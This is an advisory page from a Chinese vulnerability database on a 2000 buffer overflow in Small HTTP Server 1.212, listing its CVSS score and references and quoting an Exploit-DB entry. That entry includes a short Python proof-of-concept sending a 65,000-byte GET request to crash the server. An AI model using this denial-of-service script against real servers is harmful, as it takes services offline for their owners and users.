发布时间 :2000-06-15 00:00:00
修订时间 :2017-10-09 21:29:08

[原文]Buffer overflow in Small HTTP Server allows remote attackers to cause a denial of service via a long GET request.

[CNNVD]Small HTTP Server缓冲区溢出漏洞(CNNVD-200006-062)

        Small HTTP Server存在缓冲区溢出漏洞。远程攻击者借助借助超长GET请求导致拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20000616 Remote DoS Attack in Small HTTP Server ver. 1.212 Vulnerability
(UNKNOWN)  NTBUGTRAQ  20000616 Remote DoS Attack in Small HTTP Server ver. 1.212 Vulnerability
(UNKNOWN)  BID  1355
(UNKNOWN)  XF  small-http-get-overflow-dos

- 漏洞信息

Small HTTP Server缓冲区溢出漏洞
中危 缓冲区溢出
2000-06-15 00:00:00 2005-05-02 00:00:00
        Small HTTP Server存在缓冲区溢出漏洞。远程攻击者借助借助超长GET请求导致拒绝服务。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at:

- 漏洞信息 (20017)

Max Feoktistov Small HTTP server 1.212 Buffer Overflow (EDBID:20017)
windows dos
2000-06-16 Verified
0 Ussr Labs
N/A [点击下载]

A buffer overflow is present in certain versions of the Small HTTP Server . The overflow in question is triggered by an overlong (65000 or more characters) malformed HTTP GET request to the webserver. 
# Small HTTP Server DoS Proof of Concept Code.                        
# Vulnerability Discovered by USSR Labs(      
# Simple Script by Prizm(                        
# By connecting to port 80(http) on a system running Small HTTP Server
and issuing a GET                                                     
# command followed by 65000 bytes, the service will crash.            
# This *simple* little script will cause http.exe to crash.           
import httplib                                                        
h = httplib.HTTP('') #replace x's with ip              
h.putrequest('GET', 'A' * 65000)                                      

- 漏洞信息

Small HTTP Server GET Request Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2000-06-16 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete